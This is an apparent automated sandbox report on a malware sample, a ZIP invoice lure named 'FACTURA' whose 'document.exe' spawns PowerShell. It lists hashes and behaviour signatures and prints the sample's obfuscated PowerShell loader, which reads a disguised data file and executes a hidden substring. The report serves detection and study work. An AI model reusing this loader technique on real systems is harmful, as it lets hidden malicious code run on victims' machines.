Overview
overview
10Static
static
3FACTURA_240001920.zip
windows7-x64
7FACTURA_240001920.zip
windows10-2004-x64
1document.exe
windows7-x64
3document.exe
windows10-2004-x64
10Acclimate.dec
windows7-x64
3Acclimate.dec
windows10-2004-x64
3Ergometere...ks.txt
windows7-x64
1Ergometere...ks.txt
windows10-2004-x64
1Myomectomy.und
windows7-x64
3Myomectomy.und
windows10-2004-x64
3Unlearnabi...ng.tyr
windows7-x64
3Unlearnabi...ng.tyr
windows10-2004-x64
3Unlearnabi...ae.for
windows7-x64
3Unlearnabi...ae.for
windows10-2004-x64
3bayrernes.afv
windows7-x64
3bayrernes.afv
windows10-2004-x64
3Analysis
-
max time kernel
122s -
max time network
127s -
platform
windows7_x64 -
resource
win7-20241010-en -
resource tags
arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system -
submitted
14-11-2024 10:09
Static task
static1
Behavioral task
behavioral1
Sample
FACTURA_240001920.zip
Resource
win7-20241010-en
Behavioral task
behavioral2
Sample
FACTURA_240001920.zip
Resource
win10v2004-20241007-en
Behavioral task
behavioral3
Sample
document.exe
Resource
win7-20241010-en
Behavioral task
behavioral4
Sample
document.exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral5
Sample
Acclimate.dec
Resource
win7-20240903-en
Behavioral task
behavioral6
Sample
Acclimate.dec
Resource
win10v2004-20241007-en
Behavioral task
behavioral7
Sample
Ergometerets/marks.txt
Resource
win7-20240903-en
Behavioral task
behavioral8
Sample
Ergometerets/marks.txt
Resource
win10v2004-20241007-en
Behavioral task
behavioral9
Sample
Myomectomy.und
Resource
win7-20241023-en
Behavioral task
behavioral10
Sample
Myomectomy.und
Resource
win10v2004-20241007-en
Behavioral task
behavioral11
Sample
Unlearnability/quadding.tyr
Resource
win7-20241010-en
Behavioral task
behavioral12
Sample
Unlearnability/quadding.tyr
Resource
win10v2004-20241007-en
Behavioral task
behavioral13
Sample
Unlearnability/termitidae.for
Resource
win7-20241010-en
Behavioral task
behavioral14
Sample
Unlearnability/termitidae.for
Resource
win10v2004-20241007-en
Behavioral task
behavioral15
Sample
bayrernes.afv
Resource
win7-20240903-en
Behavioral task
behavioral16
Sample
bayrernes.afv
Resource
win10v2004-20241007-en
General
-
Target
document.exe
-
Size
548KB
-
MD5
682e0e22ac2f06d26d24cac1769e1b80
-
SHA1
1302dd34b80e32415baacafecdfe31d61d0dd563
-
SHA256
51d366ab87eb5988f96d068d503d21b801b5df4535b8851364e56cbacb8fab82
-
SHA512
083c2225192987117d84bbbdbca228937f570fe31ca90aaff3a8cf6b4c1822a1b39523424723bc596056823c338cd7db193777b36487cf732bb526176935daa2
-
SSDEEP
12288:/BvLTWCL5Bj6NdVFB2dDG8DLh3g1prEPwdOC18:RhTmNFB2f2bJfG
Malware Config
Signatures
-
pid Process 2300 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language document.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2300 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2300 powershell.exe -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 844 wrote to memory of 2300 844 document.exe 30 PID 844 wrote to memory of 2300 844 document.exe 30 PID 844 wrote to memory of 2300 844 document.exe 30 PID 844 wrote to memory of 2300 844 document.exe 30
Processes
-
C:\Users\Admin\AppData\Local\Temp\document.exe"C:\Users\Admin\AppData\Local\Temp\document.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:844 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -windowstyle minimized "$Skakmatterne=Get-Content -Raw 'C:\Users\Admin\AppData\Local\skydedrene\Nitallernes\sammenlimningers\Myomectomy.Und';$Elske=$Skakmatterne.SubString(43098,3);.$Elske($Skakmatterne)"2⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2300
-